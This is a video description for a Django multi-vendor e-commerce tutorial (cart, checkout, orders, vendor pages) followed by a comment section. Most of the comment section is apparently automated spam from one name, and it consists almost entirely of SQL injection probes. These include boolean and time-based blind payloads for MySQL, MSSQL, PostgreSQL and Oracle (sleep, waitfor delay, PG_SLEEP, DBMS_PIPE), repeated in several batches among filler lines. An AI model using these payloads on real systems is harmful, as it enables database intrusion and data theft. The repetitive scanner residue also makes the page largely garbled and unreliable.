In this video, I will build the second part of the Django Ecommerce Website with multiple vendors. In this part we'll implement the whole cart functionality, the checkout and a few other small things.
Adding products to the cart 00:00:25
View the cart 00:13:42
Remove products from cart 00:21:25
Change quantity 00:23:50
Order models 00:25:45
Make it possible to checkout 00:31:30
Show orders in vendor admin area 00:51:00
Edit a vendor 00:58:00
Notifying the vendors and customers 01:02:10
Show list of vendors 01:08:30
Vendor detail view 01:12:00
Important links:
Git - https://github.com/SteinOveHelset/interiorshop
Code from part 2 - https://github.com/SteinOveHelset/interiorshop/releases/tag/part-2
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
-1 OR 2+482-482-1=0+0+0+1 --
EFSArCBy | Jul 02, 26 09:00
-1 OR 2+413-413-1=0+0+0+1
EFSArCBy | Jul 02, 26 09:00
-1' OR 2+751-751-1=0+0+0+1 --
EFSArCBy | Jul 02, 26 09:00
-1' OR 2+946-946-1=0+0+0+1 or '5XLoQc0U'='
EFSArCBy | Jul 02, 26 09:00
-1" OR 2+793-793-1=0+0+0+1 --
EFSArCBy | Jul 02, 26 09:00
555*if(now()=sysdate(),sleep(15),0)
EFSArCBy | Jul 02, 26 09:00
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
EFSArCBy | Jul 02, 26 09:00
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
EFSArCBy | Jul 02, 26 09:00
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
EFSArCBy | Jul 02, 26 09:00
555-1; waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 09:00
555-1); waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 09:00
555-1 waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 09:00
5550woJlGYK'; waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 09:00
555-1 OR 143=(SELECT 143 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 09:00
555-1) OR 701=(SELECT 701 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 09:00
555-1)) OR 398=(SELECT 398 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 09:00
555zKGBTtdI' OR 644=(SELECT 644 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 09:00
555BUfdJ3jM') OR 321=(SELECT 321 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 09:00
555g6fQ4dHZ')) OR 181=(SELECT 181 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 09:00
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
EFSArCBy | Jul 02, 26 09:00
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555'"
EFSArCBy | Jul 02, 26 09:00
@@hCfFE
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
-1 OR 2+963-963-1=0+0+0+1 -- | Jul 02, 26 09:00
555
-1 OR 2+954-954-1=0+0+0+1 | Jul 02, 26 09:00
555
-1' OR 2+734-734-1=0+0+0+1 -- | Jul 02, 26 09:00
555
-1' OR 2+793-793-1=0+0+0+1 or 'osl0n697'=' | Jul 02, 26 09:00
555
-1" OR 2+934-934-1=0+0+0+1 -- | Jul 02, 26 09:00
555
if(now()=sysdate(),sleep(15),0) | Jul 02, 26 09:00
555
EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 09:00
555
EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 09:00
555
EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 09:00
555
EFSArCBy7RAU98ep'; waitfor delay '0:0:15' -- | Jul 02, 26 09:00
555
EFSArCBylkzx55od' OR 844=(SELECT 844 FROM PG_SLEEP(15))-- | Jul 02, 26 09:00
555
EFSArCBy1XU6JRYS') OR 316=(SELECT 316 FROM PG_SLEEP(15))-- | Jul 02, 26 09:00
555
EFSArCBybQTVyGmy')) OR 628=(SELECT 628 FROM PG_SLEEP(15))-- | Jul 02, 26 09:00
555
EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy'" | Jul 02, 26 09:00
555
@@YECos | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 02, 26 09:00
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
-1 OR 2+411-411-1=0+0+0+1 --
EFSArCBy | Jul 20, 26 09:58
-1 OR 2+676-676-1=0+0+0+1
EFSArCBy | Jul 20, 26 09:58
-1' OR 2+206-206-1=0+0+0+1 --
EFSArCBy | Jul 20, 26 09:58
-1' OR 2+561-561-1=0+0+0+1 or 'bLCkaJvo'='
EFSArCBy | Jul 20, 26 09:58
-1" OR 2+901-901-1=0+0+0+1 --
EFSArCBy | Jul 20, 26 09:58
555*if(now()=sysdate(),sleep(15),0)
EFSArCBy | Jul 20, 26 09:58
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
EFSArCBy | Jul 20, 26 09:58
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
EFSArCBy | Jul 20, 26 09:58
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
EFSArCBy | Jul 20, 26 09:58
555-1; waitfor delay '0:0:15' --
EFSArCBy | Jul 20, 26 09:58
555-1); waitfor delay '0:0:15' --
EFSArCBy | Jul 20, 26 09:58
555-1 waitfor delay '0:0:15' --
EFSArCBy | Jul 20, 26 09:58
555Gu0lp2vK'; waitfor delay '0:0:15' --
EFSArCBy | Jul 20, 26 09:58
555-1 OR 541=(SELECT 541 FROM PG_SLEEP(15))--
EFSArCBy | Jul 20, 26 09:58
555-1) OR 459=(SELECT 459 FROM PG_SLEEP(15))--
EFSArCBy | Jul 20, 26 09:58
555-1)) OR 172=(SELECT 172 FROM PG_SLEEP(15))--
EFSArCBy | Jul 20, 26 09:58
5553EjGExNt' OR 456=(SELECT 456 FROM PG_SLEEP(15))--
EFSArCBy | Jul 20, 26 09:58
555NdOw1Wev') OR 823=(SELECT 823 FROM PG_SLEEP(15))--
EFSArCBy | Jul 20, 26 09:58
555hLoRYjH5')) OR 628=(SELECT 628 FROM PG_SLEEP(15))--
EFSArCBy | Jul 20, 26 09:58
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
EFSArCBy | Jul 20, 26 09:58
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555'"
EFSArCBy | Jul 20, 26 09:58
@@hj15t
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
EFSArCBy | Jul 20, 26 09:58
555
-1 OR 2+356-356-1=0+0+0+1 -- | Jul 20, 26 09:59
555
-1 OR 2+320-320-1=0+0+0+1 | Jul 20, 26 09:59
555
-1' OR 2+365-365-1=0+0+0+1 -- | Jul 20, 26 09:59
555
-1' OR 2+707-707-1=0+0+0+1 or 'ONaAWCo2'=' | Jul 20, 26 09:59
555
-1" OR 2+658-658-1=0+0+0+1 -- | Jul 20, 26 09:59
555
if(now()=sysdate(),sleep(15),0) | Jul 20, 26 09:59
555
EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 20, 26 09:59
555
EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 20, 26 09:59
555
EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 20, 26 09:59
555
EFSArCByGsLHmkgo'; waitfor delay '0:0:15' -- | Jul 20, 26 09:59
555
EFSArCByvaEdJW3o' OR 446=(SELECT 446 FROM PG_SLEEP(15))-- | Jul 20, 26 09:59
555
EFSArCBypb0cxN8T') OR 707=(SELECT 707 FROM PG_SLEEP(15))-- | Jul 20, 26 09:59
555
EFSArCBy4O4B7IHh')) OR 341=(SELECT 341 FROM PG_SLEEP(15))-- | Jul 20, 26 09:59
555
EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 20, 26 09:59
555
EFSArCBy | Jul 20, 26 09:59
555
EFSArCBy'" | Jul 20, 26 09:59
555
@@xbbGM | Jul 20, 26 09:59
555
EFSArCBy | Jul 20, 26 09:59
555
EFSArCBy | Jul 20, 26 09:59
555
EFSArCBy | Jul 20, 26 09:59
555
EFSArCBy | Jul 20, 26 09:59
555
EFSArCBy | Jul 20, 26 09:59
555
EFSArCBy | Jul 20, 26 09:59
555
EFSArCBy | Jul 20, 26 09:59
555
EFSArCBy | Jul 20, 26 09:59
555
EFSArCBy | Jul 20, 26 09:59
555
EFSArCBy | Jul 20, 26 09:59
555
EFSArCBy | Jul 20, 26 09:59
555
EFSArCBy | Jul 20, 26 09:59
555
EFSArCBy | Jul 20, 26 09:59
555
EFSArCBy | Jul 20, 26 09:59
555
EFSArCBy | Jul 20, 26 09:59
555
EFSArCBy | Jul 20, 26 09:59
555
EFSArCBy | Jul 20, 26 09:59
555
EFSArCBy | Jul 20, 26 09:59
555
EFSArCBy | Jul 20, 26 09:59
555
EFSArCBy | Jul 23, 26 12:50
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
-1 OR 2+306-306-1=0+0+0+1 --
EFSArCBy | Jul 23, 26 12:51
-1 OR 2+11-11-1=0+0+0+1
EFSArCBy | Jul 23, 26 12:51
-1' OR 2+111-111-1=0+0+0+1 --
EFSArCBy | Jul 23, 26 12:51
-1' OR 2+735-735-1=0+0+0+1 or 'lDyU47Qt'='
EFSArCBy | Jul 23, 26 12:51
-1" OR 2+795-795-1=0+0+0+1 --
EFSArCBy | Jul 23, 26 12:51
555*if(now()=sysdate(),sleep(15),0)
EFSArCBy | Jul 23, 26 12:51
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
EFSArCBy | Jul 23, 26 12:51
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
EFSArCBy | Jul 23, 26 12:51
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
EFSArCBy | Jul 23, 26 12:51
555-1; waitfor delay '0:0:15' --
EFSArCBy | Jul 23, 26 12:51
555-1); waitfor delay '0:0:15' --
EFSArCBy | Jul 23, 26 12:51
555-1 waitfor delay '0:0:15' --
EFSArCBy | Jul 23, 26 12:51
555qbzNzrFF'; waitfor delay '0:0:15' --
EFSArCBy | Jul 23, 26 12:51
555-1 OR 635=(SELECT 635 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 12:51
555-1) OR 970=(SELECT 970 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 12:51
555-1)) OR 353=(SELECT 353 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 12:51
555QZTJMhXd' OR 963=(SELECT 963 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 12:51
555oBnhdvbY') OR 573=(SELECT 573 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 12:51
555vqVQJil9')) OR 601=(SELECT 601 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 12:51
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
EFSArCBy | Jul 23, 26 12:51
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555'"
EFSArCBy | Jul 23, 26 12:51
@@XRihh
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
-1 OR 2+477-477-1=0+0+0+1 -- | Jul 23, 26 12:51
555
-1 OR 2+962-962-1=0+0+0+1 | Jul 23, 26 12:51
555
-1' OR 2+453-453-1=0+0+0+1 -- | Jul 23, 26 12:51
555
-1' OR 2+366-366-1=0+0+0+1 or 'CD0R9rRO'=' | Jul 23, 26 12:51
555
-1" OR 2+515-515-1=0+0+0+1 -- | Jul 23, 26 12:51
555
if(now()=sysdate(),sleep(15),0) | Jul 23, 26 12:51
555
EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 23, 26 12:51
555
EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 23, 26 12:51
555
EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 23, 26 12:51
555
EFSArCByHd85jtqz'; waitfor delay '0:0:15' -- | Jul 23, 26 12:51
555
EFSArCByMw3eISDW' OR 111=(SELECT 111 FROM PG_SLEEP(15))-- | Jul 23, 26 12:51
555
EFSArCByzNkdQt0v') OR 111=(SELECT 111 FROM PG_SLEEP(15))-- | Jul 23, 26 12:51
555
EFSArCByJSjqMXkP')) OR 275=(SELECT 275 FROM PG_SLEEP(15))-- | Jul 23, 26 12:51
555
EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy'" | Jul 23, 26 12:51
555
@@drtid | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555
EFSArCBy | Jul 23, 26 12:51
555